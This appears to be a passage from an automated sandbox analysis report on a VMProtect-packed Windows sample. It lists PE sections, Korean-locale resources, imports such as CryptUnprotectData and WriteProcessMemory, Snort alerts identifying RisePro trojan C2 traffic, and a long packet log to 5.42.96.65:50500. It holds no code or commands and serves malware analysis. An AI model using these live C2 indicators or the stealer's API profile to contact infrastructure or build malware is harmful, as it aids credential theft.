.data	0x185000	0x4930	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp#+	0x18a000	0x121e7a	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp#+	0x2ac000	0x580	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp#+	0x2ad000	0x1427e0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmpY[.	0x3f0000	0x34b3e7	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmpY[.	0x73c000	0x838010	0x838200	bdacb5ec0292c102fa3f2bae395ef848	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0xf75000	0x5c8	0x600	2025a475ee6a4cf5d3bdd2e9ccf3e193	False	0.5325520833333334	data	4.322933984772373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf76000	0x26ee8	0x26800	dd048426ffb4368f719a01897ce94a50	False	0.6937715604707793	data	6.736445338106505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0xf9c6bc	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6bc	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6c0	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6c0	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6c4	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6c4	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6c8	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6c8	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6cc	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6cc	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6d0	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6d0	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6d4	0x2	data			5.0
AFX_DIALOG_LAYOUT	0xf9c6d8	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6d8	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6dc	0x2	data			5.0
AFX_DIALOG_LAYOUT	0xf9c6e0	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6e0	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6e4	0x2	data			5.0
AFX_DIALOG_LAYOUT	0xf9c6e8	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6e8	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6ec	0x2	data			5.0
AFX_DIALOG_LAYOUT	0xf9c6f0	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6f0	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6f4	0x2	data			5.0
AFX_DIALOG_LAYOUT	0xf9c6f8	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6f8	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c6fc	0x2	data			5.0
AFX_DIALOG_LAYOUT	0xf9c700	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c700	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c704	0x2	data			5.0
AFX_DIALOG_LAYOUT	0xf9c708	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c708	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c70c	0x2	data			5.0
AFX_DIALOG_LAYOUT	0xf9c710	0x2	data	Korean	North Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c710	0x2	data	Korean	South Korea	5.0
AFX_DIALOG_LAYOUT	0xf9c714	0x7a	data			0.09836065573770492
AFX_DIALOG_LAYOUT	0xf9c790	0x7a	data	Korean	North Korea	0.10714285714285714
AFX_DIALOG_LAYOUT	0xf9c790	0x7a	data	Korean	South Korea	0.10714285714285714
AFX_DIALOG_LAYOUT	0xf9c80c	0x2	empty			0
AFX_DIALOG_LAYOUT	0xf9c810	0x2	empty	Korean	North Korea	0
AFX_DIALOG_LAYOUT	0xf9c810	0x2	empty	Korean	South Korea	0
AFX_DIALOG_LAYOUT	0xf9c814	0x2	empty			0
AFX_DIALOG_LAYOUT	0xf9c818	0x2	empty	Korean	North Korea	0
AFX_DIALOG_LAYOUT	0xf9c818	0x2	empty	Korean	South Korea	0
AFX_DIALOG_LAYOUT	0xf9c81c	0x2	empty			0
AFX_DIALOG_LAYOUT	0xf9c820	0x2	empty	Korean	North Korea	0
AFX_DIALOG_LAYOUT	0xf9c820	0x2	empty	Korean	South Korea	0
AFX_DIALOG_LAYOUT	0xf9c824	0x2	empty			0
AFX_DIALOG_LAYOUT	0xf9c828	0x2	empty	Korean	North Korea	0
AFX_DIALOG_LAYOUT	0xf9c828	0x2	empty	Korean	South Korea	0
AFX_DIALOG_LAYOUT	0xf9c82c	0x5a	empty			0
AFX_DIALOG_LAYOUT	0xf9c888	0x5a	empty	Korean	North Korea	0
AFX_DIALOG_LAYOUT	0xf9c888	0x5a	empty	Korean	South Korea	0
AFX_DIALOG_LAYOUT	0xf9c8e4	0x2	empty			0
AFX_DIALOG_LAYOUT	0xf9c8e8	0x2	empty	Korean	North Korea	0
AFX_DIALOG_LAYOUT	0xf9c8e8	0x2	empty	Korean	South Korea	0
RT_ICON	0xf768b4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024			0.774822695035461
RT_ICON	0xf76d1c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216			0.5385892116182572
RT_ICON	0xf792c4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.4255441854962735
RT_ICON	0xf89aec	0x11965	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.999250385218707
RT_MENU	0xf9c8ec	0x2f4	empty			0
RT_MENU	0xf9cbe0	0x308	empty	Korean	North Korea	0
RT_MENU	0xf9cbe0	0x308	empty	Korean	South Korea	0
RT_GROUP_ICON	0xf9b454	0x3e	data			0.8225806451612904
RT_VERSION	0xf9b494	0x3ec	data			0.3615537848605578
RT_MANIFEST	0xf9b880	0xe3b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.38594564919022784

Imports

DLL	Import
KERNEL32.dll	GetVersionExA
USER32.dll	wsprintfA
GDI32.dll	CreateCompatibleBitmap
ADVAPI32.dll	RegQueryValueExA
SHELL32.dll	ShellExecuteA
ole32.dll	CoInitialize
WS2_32.dll	WSAStartup
CRYPT32.dll	CryptUnprotectData
SHLWAPI.dll	PathFindExtensionA
gdiplus.dll	GdipGetImageEncoders
SETUPAPI.dll	SetupDiEnumDeviceInfo
ntdll.dll	RtlUnicodeStringToAnsiString
RstrtMgr.DLL	RmStartSession
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress
WTSAPI32.dll	WTSSendMessageW
KERNEL32.dll	VirtualQuery, GetSystemTimeAsFileTime, GetModuleHandleA, CreateEventA, GetModuleFileNameW, LoadLibraryA, TerminateProcess, GetCurrentProcess, CreateToolhelp32Snapshot, Thread32First, GetCurrentProcessId, GetCurrentThreadId, OpenThread, Thread32Next, CloseHandle, SuspendThread, ResumeThread, WriteProcessMemory, GetSystemInfo, VirtualAlloc, VirtualProtect, VirtualFree, GetProcessAffinityMask, SetProcessAffinityMask, GetCurrentThread, SetThreadAffinityMask, Sleep, FreeLibrary, GetTickCount, SystemTimeToFileTime, FileTimeToSystemTime, GlobalFree, LocalAlloc, LocalFree, GetProcAddress, ExitProcess, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, DeleteCriticalSection, GetModuleHandleW, LoadResource, MultiByteToWideChar, FindResourceExW, FindResourceExA, WideCharToMultiByte, GetThreadLocale, GetUserDefaultLCID, GetSystemDefaultLCID, EnumResourceNamesA, EnumResourceNamesW, EnumResourceLanguagesA, EnumResourceLanguagesW, EnumResourceTypesA, EnumResourceTypesW, CreateFileW, LoadLibraryW, GetLastError, FlushFileBuffers, CreateFileA, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, GetCommandLineA, RaiseException, RtlUnwind, HeapFree, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, LCMapStringA, LCMapStringW, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, HeapCreate, HeapDestroy, QueryPerformanceCounter, HeapReAlloc, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize, WriteFile, SetFilePointer, GetConsoleCP, GetConsoleMode, InitializeCriticalSectionAndSpinCount, SetStdHandle
USER32.dll	GetProcessWindowStation, GetUserObjectInformationW, CharUpperBuffW, MessageBoxW
KERNEL32.dll	LocalAlloc, LocalFree, GetModuleFileNameW, GetProcessAffinityMask, SetProcessAffinityMask, SetThreadAffinityMask, Sleep, ExitProcess, FreeLibrary, LoadLibraryA, GetModuleHandleA, GetProcAddress
USER32.dll	GetProcessWindowStation, GetUserObjectInformationW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Korean	North Korea
Korean	South Korea

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/17/24-23:45:00.848746	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49704	50500	192.168.2.5	5.42.96.65
05/17/24-23:45:05.461512	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49704	50500	192.168.2.5	5.42.96.65
05/17/24-23:45:05.093768	TCP	2046268	ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings)	49704	50500	192.168.2.5	5.42.96.65
05/17/24-23:45:14.161367	TCP	2019714	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile	49707	80	192.168.2.5	5.42.96.170
05/17/24-23:45:02.216807	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49704	5.42.96.65	192.168.2.5
05/17/24-23:45:01.844974	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49704	5.42.96.65	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 17, 2024 23:45:00.823570013 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:00.830173969 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:00.830306053 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:00.848746061 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:00.888148069 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:01.844974041 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:01.898729086 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:02.212306023 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:02.212758064 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:02.216774940 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:02.216806889 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:02.216887951 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:02.442466974 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:02.442562103 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:02.447838068 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:02.505626917 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:02.505665064 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:02.505752087 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:02.507396936 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:02.507406950 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.331181049 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.331459045 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:03.335395098 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:03.335402012 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.335609913 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.383002043 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:03.397473097 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:03.444129944 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.670281887 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.670437098 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.670505047 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:03.673120022 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:03.673135042 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.673151970 CEST	49705	443	192.168.2.5	34.117.186.192
May 17, 2024 23:45:03.673157930 CEST	443	49705	34.117.186.192	192.168.2.5
May 17, 2024 23:45:03.771847963 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:03.771873951 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:03.771949053 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:03.772314072 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:03.772325039 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:04.619467020 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:04.619560957 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:04.622503042 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:04.622514963 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:04.622746944 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:04.624036074 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:04.664135933 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:05.081523895 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:05.081813097 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:05.081913948 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:05.087728977 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:05.087744951 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:05.087759018 CEST	49706	443	192.168.2.5	172.67.75.166
May 17, 2024 23:45:05.087764025 CEST	443	49706	172.67.75.166	192.168.2.5
May 17, 2024 23:45:05.093767881 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:05.177021027 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:05.461512089 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:05.466664076 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:05.517889977 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:05.570538998 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:05.649158001 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:05.656826019 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:05.834423065 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:05.883008003 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:06.044207096 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:06.086308002 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:06.086450100 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:06.096681118 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:06.450611115 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:06.452780008 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:06.452914953 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:06.457537889 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:06.462457895 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:06.462470055 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:06.462507963 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:06.508004904 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:06.604279041 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:06.633135080 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:06.638257980 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:07.002048969 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:07.054877043 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:07.070698023 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:07.112792015 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:07.485585928 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:07.539239883 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.537136078 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.542507887 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.544882059 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.549984932 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.550066948 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.554996967 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555010080 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555022001 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555033922 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555046082 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555057049 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555068016 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555073977 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.555079937 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555093050 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.555172920 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.555212975 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.559803009 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.559870958 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.564600945 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564614058 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564625978 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564639091 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564649105 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564661026 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564661980 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.564672947 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564682961 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564696074 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.564723015 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.564791918 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.569506884 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.569574118 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.574394941 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574424028 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574450970 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574477911 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574481964 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.574506044 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574516058 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.574532986 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574559927 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574567080 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.574585915 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574601889 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.574611902 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.574640036 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.574670076 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.579240084 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.579313040 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580459118 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580487013 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580513954 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580523968 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580540895 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580555916 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580571890 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580599070 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580599070 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580625057 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580626011 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580652952 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580656052 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580678940 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580681086 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580703020 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580709934 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580734015 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580737114 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580763102 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580786943 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580791950 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580812931 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580818892 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580845118 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580848932 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580872059 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580878973 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580898046 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580899000 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580921888 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580924988 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580946922 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.580951929 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580977917 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.580982924 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.581005096 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.581008911 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.581027985 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.581058979 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.584007978 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.584039927 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.584089994 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.587956905 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.587986946 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588013887 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588032007 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588041067 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588067055 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588068962 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588068008 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588097095 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588114023 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588135004 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588155985 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588177919 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588182926 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588210106 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588212013 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588229895 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588236094 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588263035 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588287115 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588289022 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588287115 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588314056 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588318110 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588335991 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588344097 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588371038 CEST	50500	49704	5.42.96.65	192.168.2.5
